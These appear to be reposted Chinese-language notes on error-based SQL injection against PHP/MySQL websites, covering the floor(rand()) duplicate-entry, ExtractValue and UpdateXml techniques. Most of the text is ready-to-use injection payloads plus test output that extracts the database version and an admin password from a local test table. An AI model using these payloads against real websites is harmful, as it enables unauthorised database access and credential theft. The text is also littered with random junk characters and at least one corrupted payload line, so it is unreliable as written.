放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
' n7 e) n( Q7 k: B, a" N实际测试环境:
% y q& W# f+ Y' d4 A9 G& K! i9 O, T! S+ K. A
0 c& F- Z3 K) c0 @5 fmysql> show tables;' [2 w6 U# H: d4 e9 C, F. l
+----------------+4 v+ q" ^) `( J+ n+ a( r
| Tables_in_test |
" G4 G7 A8 E+ ~9 l1 N5 j4 H( D+----------------+
1 T' Y0 _( M U% V0 ~| admin |
, Q: v. Q2 o0 |" ~, D* v ^6 Z# m| article |
; m- p* ~% { m( m' C) M! C+----------------+
, O }8 q9 B0 F* ~
5 D- u, q; c8 w% P( ^4 V7 ] - @- p% ]. d4 |) B
4 \- E6 d+ b2 h! q, cmysql> describe admin;
- E3 B9 g/ Q1 e: t6 l* ~+-------+------------------+------+-----+---------+----------------+* X8 T2 s/ \/ _) Z; j
| Field | Type | Null | Key | Default | Extra |
x5 ]" G" a$ D& _% u+ N+-------+------------------+------+-----+---------+----------------+
q4 z# f8 z5 ]; P) o C" P| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
( t6 T" W$ E8 S4 \3 g& I7 R| user | varchar(50) | NO | | NULL | |- {" U1 g' h) w: y! \; j
| pass | varchar(50) | NO | | NULL | |
4 ~% [, _$ ^( C. j0 n w, _/ [+-------+------------------+------+-----+---------+----------------+
- H0 U7 k" P7 {* p& ]
8 n7 e, F/ ?* J, X' [# g/ C/ H
2 Q4 g- ?7 Q. v& e+ x8 i. a 5 [8 x1 w- b/ J+ E2 A
mysql> describe article;
& z1 P" @ @! f( O6 V# l, }+---------+------------------+------+-----+---------+----------------+' s4 o1 q/ U! X* ?
| Field | Type | Null | Key | Default | Extra |- g/ F( i- m; G2 K5 o- I4 e
+---------+------------------+------+-----+---------+----------------+$ v; o6 v3 Z4 X1 S* n7 a' q
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |0 k- P, X! R" Z- R" }
| title | varchar(50) | NO | | NULL | |
3 B5 [( `! ?) M# ]# P| content | varchar(50) | NO | | NULL | |
3 x# X' L7 ?9 O+ z! g+---------+------------------+------+-----+---------+----------------+1 ]8 G1 o) j) V2 i2 A
1、通过floor报错# z1 r) I" j$ T+ \2 @- u. t+ Z
可以通过如下一些利用代码, ]8 U: a t' R. `9 G1 X
5 V- O! Q( `" O2 `% @% [& Y9 k
8 p+ c+ `( h, b9 |and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x5 T6 f) \4 U' z$ j, ?. n
from information_schema.tables group by x)a);
' R8 S L- `& |3 C3 t! L- @3 v
& z4 p- j: O5 F3 ? , G, }3 d K7 L5 o. j% U
and (select count(*) from (select 1 union select null union select !1)x+ o' J8 G0 V n4 m
group by concat((select table_name from information_schema.tables limit 1),
7 Q0 }# y$ D2 y4 qfloor(rand(0)*2)));
& W, ` x4 ~5 X4 E" i: i举例如下:$ z& O4 ^- |+ o* B I* e6 M/ ?) r6 Y
首先进行正常查询:# s1 t9 ^3 X+ C& [" G N
3 v( B# n" p# d+ k3 y: [& Jmysql> select * from article where id = 1;' u( t! L1 t9 L: z2 J: E7 s4 L
+----+-------+---------+8 m8 X$ o) k8 M, z% c
| id | title | content |+ c2 g" Y6 F, C& U# m
+----+-------+---------+! c9 ~2 G* V9 t( j2 P" F# _, M
| 1 | test | do it |
0 V. Z+ [# ]# ~: n% p% k+ `2 Y) O4 x+----+-------+---------+* Q! V+ f6 s5 F# a
假如id输入存在注入的话,可以通过如下语句进行报错。* `9 H( O, V; P. e( D# D
: [5 @$ p5 H0 T
; z1 T a) m( \! Jmysql> select * from article where id = 1 and (select 1 from; x3 k' ~ _5 ~* S1 ?; e3 p
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
9 E4 q; h5 M1 j+ X! B1 ]; yERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'( t/ X% ]; y* M2 H4 J( T! T
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。3 o9 Q5 j# a4 r' Q4 X8 p& H
例如我们需要查询管理员用户名和密码: h4 E1 P+ b; b
Method1:7 e+ Y" e+ j% ^) u( S1 g+ M4 C; s0 l
# Z$ `6 u! q6 q 1 g. G2 u5 C5 [0 Z* z7 O
mysql> select * from article where id = 1 and (select 1 from8 h, E$ [6 l, F2 i I) o
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x I/ q7 n. g4 B' U
from information_schema.tables group by x)a);5 X% `' ?, p) X+ O1 K
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'/ @5 |: ?" _, Q; q
Method2:
/ H' C" Y8 n/ R) d/ u' | % B! V! q8 D- u& o
) K1 }7 ], a' h7 V& ]: t
mysql> select * from article where id = 1 and (select count(*)
6 Q) g" \" D, x) T2 E( B8 e a4 dfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),. k$ ~* L8 _9 p' t2 T4 m# l
floor(rand(0)*2)));
7 P {0 f: ^# y5 p! ^ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
6 _. a' E! \& Z: R2、ExtractValue
1 a& d$ h% _ v7 u0 g& W- Z) D% ~测试语句如下
?! T* [; s! A9 c
; d+ q: n+ b' f$ D {6 ^( b
& r( Y5 q. k6 V$ R- `, rand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
r$ t8 e3 ^( p n实际测试过程
$ z/ H+ ^/ T, d) e7 ]/ S& M
. h; f: c8 D! M( e ) A8 U# I1 B& F- T" d1 u, |" {4 X2 X
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
8 o' ~. b+ E$ \- C- ~8 s(select pass from admin limit 1)));--
+ F& V4 ?7 I' D( C+ J6 iERROR 1105 (HY000): XPATH syntax error: '\admin888') q3 m2 `' ~2 [" o& x
3、UpdateXml* [0 K2 ?, t$ H; W7 f
测试语句+ |# G' _# M7 d! i2 f" N
- F' t' k" H; N& }
. U# N! W4 b) U& Land 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))0 ?" U7 N# ?+ [4 U! |' h9 f
实际测试过程
# i) e3 w1 R1 T: D$ p! ? : {1 B+ W% P" j6 b% y; u7 l
9 F1 a) l) m( t, @5 ?
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,4 [! h% Z2 Q* {9 u- X8 z
(select pass from admin limit 1),0x5e24),1));
: b" M6 M: F( ]ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'! c9 ^0 T) ]$ P8 |' H
All, thanks foreign guys.
) E e( I/ k# M% ~. a6 f " x) ]6 Y W0 |# c( b: g8 X
3 K# f" K( ?9 A' o; x
|